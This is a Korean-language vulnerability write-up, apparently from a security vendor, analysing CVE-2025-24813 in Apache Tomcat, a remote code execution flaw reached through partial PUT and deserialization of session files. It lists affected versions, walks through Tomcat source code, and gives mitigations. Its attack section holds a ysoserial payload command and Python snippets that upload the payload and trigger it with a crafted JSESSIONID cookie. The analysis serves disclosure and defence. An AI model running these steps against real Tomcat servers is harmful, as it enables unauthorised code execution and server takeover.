1. 개요
CVE-2025-24813은 널리 사용되는 웹 서버인 아파치 톰캣(Apache Tomcat)에서 발견된 보안 취약점이다. 이 취약점은 서버의 '부분 PUT(Partial PUT)' 기능과 '기본 서블릿(DefaultServlet) 쓰기 권한 허용'이라는 두 가지 설정이 동시에 활성화될 때 발생한다.
이 취약점으로 인해 발생할 수 있는 가장 심각한 위협은 다음과 같다.
•
정보 유출 및 손상: 공격자는 민감한 파일 이름을 알고 있는 경우, 서버에 저장된 민감한 파일을 읽거나 악성 코드를 삽입하여 파일을 훼손할 수 있음
•
원격 코드 실행(Remote Code Execution, RCE): 공격자가 조작된 세션 파일을 업로드한 후 역직렬화 프로세스를 트리거하여 서버에서 임의의 코드를 실행할 수 있다. 이는 공격자가 시스템을 완전히 장악하는 결과로 이어질 수 있다.
아래는 본 취약점의 영향을 받는 Apache Tomcat 버전 목록이다.
•
Apache Tomcat 11.0.0-M1 ~ 11.0.2
•
Apache Tomcat 10.1.0-M1 ~ 10.1.34
•
Apache Tomcat 9.0.0.M1 ~ 9.0.98
2. 사전 지식
2.1. HTTP Partial PUT과 Content-Range 헤더
'Partial PUT'은 HTTP PUT 요청을 사용하여 리소스 전체를 교체하는 대신, 특정 부분만을 업데이트하는 기능이다. 이 방식은 클라이언트가 대용량 파일을 분할하여 업로드하거나 기존 파일의 일부만 수정할 때 유용하게 사용된다.
이 기능은 Content-Range HTTP 헤더를 통해 작동한다. 클라이언트는 이 헤더에 수정하려는 데이터의 시작 위치와 크기 정보를 담아 서버에 전송함으로써 리소스의 어느 부분을 수정할지 정확하게 지정할 수 있다.
2.2. Java 직렬화&역직렬화
•
직렬화(Serialization): 객체나 데이터를 파일로 저장하거나 네트워크로 전송하기 위해 바이트 스트림(byte stream) 형태로 변환하는 과정이다. 예를 들어, 웹 서버가 재시작되어도 사용자 세션 정보를 유지하기 위해 세션 객체를 파일로 저장할 때 직렬화가 사용된다. Java의 표준 직렬화 메서드는 writeObject다.
•
역직렬화(Deserialization): 직렬화의 반대 과정으로, 바이트 스트림을 다시 원래의 객체나 데이터 형태로 복원하는 과정이다. 예를 들어, 서버는 저장된 세션 파일을 읽어와 역직렬화를 통해 메모리에 세션 객체를 다시 생성한다. Java의 표준 직렬화 메서드는 readObject다.
•
커스텀 직렬화: Java 직렬화의 특징은 객체를 직렬화하거나 복원할 때 개발자가 정의한 커스텀 로직을 사용할 수 있는 것이다. 직렬화 및 복원 대상 객체의 클래스 안에 기본 메서드인 writeObject 혹은 readObject를 재정의하면 JVM은 기본 직렬화&복원 로직 대신 이 메서드를 실행한다. 이를 커스텀 직렬화라 한다.
특히, readObject재정의는 객체 복원 과정에서 자동으로 실행된다는 점에서 공격자들이 악의적인 Java 코드를 실행시키는 방법으로 많이 악용한다.
2.3. Gadget
‘Gadget’이란 애플리케이션이나 그 라이브러리 내에 이미 존재하는 정상적인 코드 조각(클래스 또는 메서드)을 의미한다. 공격자는 조작된 직렬화 객체를 통해 이러한 가젯들을 특정 순서로 연결하여 '가젯 체인(Gadget Chain)'을 구성한다. 각 가젯은 개별적으로는 무해하지만, 체인으로 연결되면 마치 루브 골드버그 장치처럼 연쇄 반응을 일으킨다.
악의적인 가젯 체인이 포함된 객체가 역직렬화될 때, 체인을 따라 코드가 순차적으로 실행되면서 최종적으로 원격 코드 실행과 같은 악의적인 결과를 초래한다.
3. 취약점 근본 원인 분석
항목 | 내용 |
취약점 번호 | CVE-2025-24813 |
취약점 이름 | Apache Tomcat Partial PUT RCE |
취약점 종류 | Remote Code Execution(RCE) |
CVSS | CVSS:9.8/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
CVE-2025-24813 취약점은 단일 기능의 결함이 아닌, 특정 서버 설정 두 가지가 Tomcat의 내부 경로 처리 로직과 위험하게 상호작용할 때 발생하는 문제다. 이 섹션에서는 취약점이 발생하기 위한 조건과 구체적인 공격 시나리오를 단계별로 분석한다.
3.1. 취약점 발생 조건
1.
기본 서블릿(DefaultServlet)의 파일쓰기 설정 허용
기본적으로 톰캣은 보안을 위해 파일을 읽기만 가능하도록$TOMCAT_HOME/conf/web.xml의 readonly파라미터를 true로 설정한다. 이는 HTTP PUT 및 DELETE와 같은 데이터 수정 메소드를 차단하지만, 이 설정이 false로 설정되어 있다면 쓰기 권한이 허용되어 외부 요청을 통해 서버의 파일을 생성하거나 수정할 수 있는 경로가 열리게 된다.
if (!isReadOnly()) {
allow.append(", PUT, DELETE");
}
Java
복사
[코드 1] DefaultServlet의 readonly 파라미터 확인 로직
2.
세션 지속성(Session Persistence) 기능 활성화
두 번째 조건은 Tomcat이 HTTP 세션 데이터를 디스크 파일로 저장하는 '세션 지속성(Session Persistence)' 기능을 사용하도록 설정된 경우이다. 이 기능은 서버를 껐다 켜도 사용자의 로그인 정보나 장바구니 내역 등을 기억하게 하는 편리한 기능이다. $TOMCAT_HOME/conf/context.xml 파일에서 PersistentManager와 FileStore 클래스를 사용하도록 구성함으로써 활성화할 수 있다.
PersistentManager의 합법적인 기능은 서버 재시작 시 세션 정보를 보존하기 위해 활성 세션 객체를 바이트 스트림으로 직렬화하여 디스크에 저장하는 것이다. 바로 이 정상적인 메커니즘을 공격자가 악용하여 자신의 악성 직렬화 객체를 파일 형태로 서버에 저장하고, 세션 복원 메커니즘을 통해 이를 역직렬화하도록 유도하는 결정적인 공격 경로가 생성된다.
3.2. 경로 동등성 문제
위 두 조건이 위험하게 결합되는 이유는, 톰캣이 세션 정보를 파일로 저장하는 위치가 'Partial PUT' 요청으로 파일이 저장될 수 있는 작업 디렉토리와 동일하기 때문이다. 사용자가 업로드 한 파일은 기본적으로 $TOMCAT_HOME/webapps/ROOT/에 저장된다. 이 때 Partial PUT 요청의 경우, executePartialPut메소드에 의해 요청된 경로에서 /를 .으로 바꾸어 work 디렉토리인 $TOMCAT_HOME/work/Catalina/localhost/ROOT/에 파일을 다시 저장한다. 이는 업로드된 파일을 임시로 저장하기 위함이다. 그러나 이 경로는 Tomcat이 파일 기반 세션(JSESSIONID)을 저장하고 불러오는 경로와 동일하다.
protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
...
if (range == IGNORE) {
resourceInputStream = req.getInputStream();
} else {
@> File contentFile = executePartialPut(req, range, path);
resourceInputStream = new FileInputStream(contentFile);
}
...
}
Java
복사
[코드 2] doPut 메서드의 Partial PUT 처리 로직
이로 인해 공격자는 악성 세션 파일을 먼저 저장한 뒤, 톰캣이 이 파일을 정상적인 세션으로 인식하고 불러오도록 속일 수 있다.
3.3. 공격 흐름도
%%{init: {
"theme": "default",
"flowchart": {
"curve": "linear"
},
"themeVariables": {
"background": "#ffffff",
"fontFamily": "Comic Sans MS, Comic Sans, Pretendard",
"primaryColor": "#ffffff",
"primaryTextColor": "#000000",
"primaryBorderColor": "#800080",
"lineColor": "#5f4b8b"
}
}}%%
flowchart TD
A("페이로드 작성") --> B("Partial PUT 요청,<br>서버에 파일 업로드")
B --> C("쿠키 전송,<br>역직렬화 트리거")
C --> D("페이로드 실행")
style A stroke:#5f4b8b,stroke-width:2px,curve,color:#000000
style B stroke:#5f4b8b,stroke-width:2px,curve,color:#000000
style C stroke:#5f4b8b,stroke-width:2px,curve,color:#000000
style D stroke:#5f4b8b,stroke-width:2px,curve,color:#000000Mermaid
복사
[흐름도 1] CVE-2025-24813 공격의 전체 흐름
3.3.1. 페이로드 작성
ysoserial 도구를 사용하면 자동으로 자바 클래스에 있는 메서드들을 조합하여 사용자 명령을 실행할 수 있는 가젯을 만들 수 있다. 여기서는 tmp디렉토리에 hacked라는 파일을 만들도록 하였다.
# 사용법
java -jar ysoserial.jar [payload] '[command]'
# 파일 생성
java -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/hacked' > payload.ser
Bash
복사
[코드 3] ysoserial을 이용해 /tmp 디렉토리에 파일을 생성하는 페이로드 작성
3.3.2. Partial PUT 요청 & executePartialPut 메서드
다음과 같이 Content-Range 헤더를 명시하여 PUT요청을 보내 executePartialPut로직을 트리거한다.
...
headers = {
"Content-Range": f"bytes 0-{payload_len-1}/{payload_len}",
"Content-Type": "application/octet-stream"
}
put_response = requests.put(put_url, data=payload_data, headers=headers)
Python
복사
[코드 4] Content-Range 헤더를 포함하여 Partial PUT 요청 전송
executePartialPut 함수는 주어진 경로에서 /를 .으로 바꾸어 tempDir에 새로운 임시파일을 만든다. 예를 들어 공격자가 /mySession.session으로 Partial PUT 요청을 보냈다면, DefaultServlet은 tempDir에 .mySession.session으로 파일을 저장한다.
만약 주어진 경로로 이미 파일이 존재하면 이 내용을 임시파일에 옮겨쓴 후, range부터 요청데이터를 쓰고, 파일이 없으면 요청 데이터를 빈 임시파일에 쓴다.
tempDir은 미리 정해진 ServletContext.TEMPDIR에서 가져오는데, 따로 설정하지 않은 경우 CATALINA_BASE/work/_/localhost/ROOT와 같이 엔진이름, 호스트 이름 등으로 정해지는 것을 확인할 수 있다.
protected void postWorkDirectory() {
// Acquire (or calculate) the work directory path
String workDir = getWorkDir();
if (workDir == null || workDir.length() == 0) {
// Retrieve our parent (normally a host) name
String hostName = null;
String engineName = null;
String hostWorkDir = null;
...
String temp = getBaseName();
...
if (temp.length() < 1) {
temp = ContextName.ROOT_NAME;
}
if (hostWorkDir != null) {
workDir = hostWorkDir + File.separator + temp;
} else {
@> workDir = "work" + File.separator + engineName + File.separator + hostName + File.separator + temp;
}
setWorkDir(workDir);
}
...
try {
catalinaHomePath = getCatalinaBase().getCanonicalPath();
@> dir = new File(catalinaHomePath, workDir);
}
...
context.setAttribute(ServletContext.TEMPDIR, dir);
context.setAttributeReadOnly(ServletContext.TEMPDIR);
...
}
Java
복사
[코드 6] Tomcat의 임시 디렉토리 경로 결정 로직
3.3.3. 쿠키 전송, 역직렬화 트리거
.{SESSION_ID}.session 파일이 생성되었다고 가정하고, 다음과 같이 쿠키 요청을 보내 세션 로드를 트리거한다.
cookies = {
"JSESSIONID": f".{SESSION_ID}"
}
try:
trigger_response = requests.get(f"{TARGET_URL}", cookies=cookies)
print("[+] GET successed. Sent:")
print(trigger_response.request.headers)
except Exception as e:
print(f"[-] GET Error: {e}")
Python
복사
[코드 7] 업로드한 파일 이름을 session id로 설정하여 GET 요청 천송, 세션 역직렬화 트리거
다음은 PersistentManager가 세션을 로드하는 과정이다.
%%{init: {
"theme": "default",
"themeVariables": {
"fontFamily": "Comic Sans MS, Comic Sans, Pretendard",
"primaryColor": "#ffffff",
"primaryTextColor": "#000000",
"primaryBorderColor": "#800080",
"lineColor": "#5f4b8b"
}
}}%%
flowchart LR
A(findSession) --> B{session in memory?}
B -- no --> C(swapIn)
C --> D(loadSessionFromStore)
D --> E(load)
style A stroke:#5f4b8b,stroke-width:2px,curve,color:#000000
style B stroke:#5f4b8b,stroke-width:2px,curve,color:#000000
style C stroke:#5f4b8b,stroke-width:2px,curve,color:#000000
style D stroke:#5f4b8b,stroke-width:2px,curve,color:#000000
style E stroke:#5f4b8b,stroke-width:2px,curve,color:#000000
Mermaid
복사
[흐름도 2] PersistentManager의 세션 로드 프로세스
loadSessionFromStore은 내부적으로 store.load(id)를 호출한다.
load함수는 .<id>.session파일을 찾아 파일 내용을 읽어 다시 Java 객체인 StandardSession으로 복원한다. 이 과정에서 ObjectInputStream.readObject()가 사용되어 역직렬화가 일어난다. 이때 기본 readObject메서드 대신, 공격자가 재정의한 readObject메서드가 실행되어 악의적인 가젯 체인이 실행되게 된다.
@Override
public Session load(String id) throws ClassNotFoundException, IOException {
// Open an input stream to the specified pathname, if any
@> File file = file(id); // .id.session 파일을 찾아 FILE 객체로 리턴
if (file == null || !file.exists()) {
return null;
}
Context context = getManager().getContext();
Log contextLog = context.getLogger();
if (contextLog.isTraceEnabled()) {
contextLog.trace(sm.getString(getStoreName() + ".loading", id, file.getAbsolutePath()));
}
ClassLoader oldThreadContextCL = context.bind(Globals.IS_SECURITY_ENABLED, null);
try (FileInputStream fis = new FileInputStream(file.getAbsolutePath()); // 파일입력스트림
ObjectInputStream ois = getObjectInputStream(fis)) { // 객체입력스트림
// 파일에 저장된 바이트 스트림을 읽어 Java 객체(StandardSession)로 복원
@> StandardSession session = (StandardSession) manager.createEmptySession();
@> session.readObjectData(ois); // ✨ gadget execution
session.setManager(manager);
return session;
} ...
}
Java
복사
[코드 8] FileStore의 load 메서드에서의 역직렬화로 인한 가젯 실행
3.4. 시연 영상
[영상 1] CVE-2025-24813 공격 시연
4. 공격 영향
본 취약점을 악용할 경우, 공격자는 별도의 인증 과정 없이 원격에서 임의의 코드를 실행(RCE)하여 서버를 완전히 장악할 수 있다. 이는 다음과 같은 심각한 보안 위협으로 이어진다.
•
서버 완전 제어권 탈취 (Remote Code Execution)
공격자는 악성 직렬화 객체(Payload)가 포함된 세션 파일을 업로드하고 이를 실행시킴으로써, 시스템 권한으로 임의의 명령어를 수행할 수 있다. 이를 통해 보안 솔루션을 우회하거나 서버 설정을 임의로 변경하여 시스템을 완전히 통제할 수 있다.
•
중요 정보 유출 및 데이터 무결성 훼손
기본 서블릿의 쓰기 권한을 악용하여 서버 내 민감한 파일을 열람하거나, 기존 파일에 악성 콘텐츠를 삽입하여 웹 애플리케이션의 무결성을 훼손할 수 있다. 특히 공격자가 파일명을 알고 있는 경우, 해당 파일의 내용을 훔쳐보거나 변조하는 것이 가능하다.
•
내부망 침투 및 확산의 교두보 활용 (Lateral Movement)
웹 서버 장악 후 이를 거점으로 삼아 기업 내부 네트워크로 공격 범위를 확장(Lateral Movement)할 수 있다. 이는 대규모 데이터 유출 사고나 랜섬웨어 배포 등 치명적인 2차 피해의 초기 진입점이 될 수 있다
5. 완화 및 권고사항
1.
Tomcat 업그레이드
가장 확실하고 권장되는 해결책은 톰캣을 최신 버전으로 업그레이드하는 것이다. 톰캣 설치 폴더 내의 bin 디렉토리에서 아래 스크립트를 실행하여 버전을 확인할 수 있다.
•
Windows: version.bat
•
Linux/macOS: ./version.sh
각 버전에 맞는 안전한 버전은 다음과 같다.
•
Apache Tomcat 9.0.99 이상
•
Apache Tomcat 10.1.35 이상
•
Apache Tomcat 11.0.3 이상
만약 즉각적인 업그레이드가 어려운 경우, 다음과 같은 임시 완화 조치를 적용하여 공격 표면을 제거할 수 있다.
1.
쓰기 권한 비활성화
$TOMCAT_HOME/conf/web.xml 파일에서 DefaultServlet의 readonly 파라미터 값을 true로 설정(또는 유지)하여 HTTP PUT 메소드를 통한 파일 생성을 원천적으로 차단한다. 이는 Tomcat의 기본 보안 설정값이기도 하다.
2.
세션 지속성 기능 비활성화
파일 기반 세션 지속성 기능이 비즈니스 요구사항에 필수적이지 않다면,
$TOMCAT_HOME/conf/context.xml 파일에서 관련 <Manager> 및 <Store> 설정을 제거하여 역직렬화 공격 경로를 차단한다.
6. 결론
CVE-2025-24813 취약점은 톰캣 서버의 쓰기 권한 허용(readonly=false)과 세션 지속성 기능이라는 두 가지 설정이 결합될 때 발생하는 심각한 보안 문제다. 공격자는 이 두 가지 조건을 악용하여 서버에 악성 코드를 심고 실행시킬 수 있다.
Palo Alto Networks의 위협 분석 데이터에 따르면, 2025년 3월 한 달 동안 CVE-2025-24813과 관련된 스캔, 탐지 또는 공격 시도가 125,856건 차단되었다. 공격 활동은 취약점이 공개된 직후 급증하여 첫 주에 최고조에 달했으며, 이는 공격자들이 얼마나 신속하게 새로운 취약점을 악용하는지를 명확히 보여준다.
당사의 솔루션인 PurpleHound는 실전 기반 시나리오를 재구성하여 기업이 보유한 보안 장비와 시스템이 실제 공격에 얼마나 효과적으로 대응 가능한지 검증할 수 있도록 지원한다.


